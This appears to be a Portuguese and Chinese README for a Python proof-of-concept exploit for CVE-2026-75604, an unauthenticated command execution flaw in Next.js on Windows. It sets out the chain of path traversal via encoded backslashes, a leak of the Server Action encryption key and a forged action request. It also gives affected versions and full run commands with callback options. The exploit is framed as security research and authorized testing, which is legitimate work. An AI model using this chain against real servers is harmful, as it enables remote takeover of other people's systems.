
Prova de conceito de exploit para CVE-2026-75604, uma RCE não autenticada em Next.js hospedado no Windows via path traversal no cache e Server Action forjada, para testes de segurança autorizados.
Prova de conceito em Python para CVE-2026-75604, uma vulnerabilidade de execução remota de comandos não autenticada em aplicações Next.js hospedadas em Windows que utilizam tanto o Pages Router quanto o App Router sem Cache Components.

>=13.4 <15.5.24 ou >=16.0 <16.3.3Validado com [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
O caminho da Server Action padrão é /. Use --action-field quando o formulário tiver mais de um campo.
Argumentos obrigatórios:
--target URL: URL base da aplicação Next.js--callback-ip ADDRESS: endereço IPv4 acessível pelo alvo--pages-cache-path PATH: página dinâmica existente do Pages Router ISR--app-cache-path PATH: página dinâmica existente do App Router com cache de sistema de arquivosArgumentos opcionais:
--command COMMAND: comando a executar; padrão whoami--action-path PATH: página do App Router contendo a Server Action compatível; padrão /--action-field NAME: campo de formulário consumido pela action; detectado automaticamente quando inequívoco--callback-port PORT: porta de callback; padrão 4331--listen-address ADDRESS: endereço local de bind do callback; padrão 0.0.0.0--timeout SECONDS: timeout de requisição e callback; padrão 20--insecure: desativa a verificação de certificado TLSA aplicação opcional target/ fixa [email protected] e usa o servidor de produção padrão do Next.js:
cd target
npm ci
npm run build
npm start
Execute o PoC em outro terminal:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
O alvo opcional fornece as rotas necessárias e uma Server Action compatível em /.
Este PoC é fornecido apenas para fins educacionais, pesquisa de segurança e testes autorizados. Use-o somente em sistemas que você possui ou para os quais tenha permissão explícita de teste.
Créditos a evolutionstorm.
Este PoC foi reconstruído de forma independente a partir do advisory público e do patch do Next.js.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。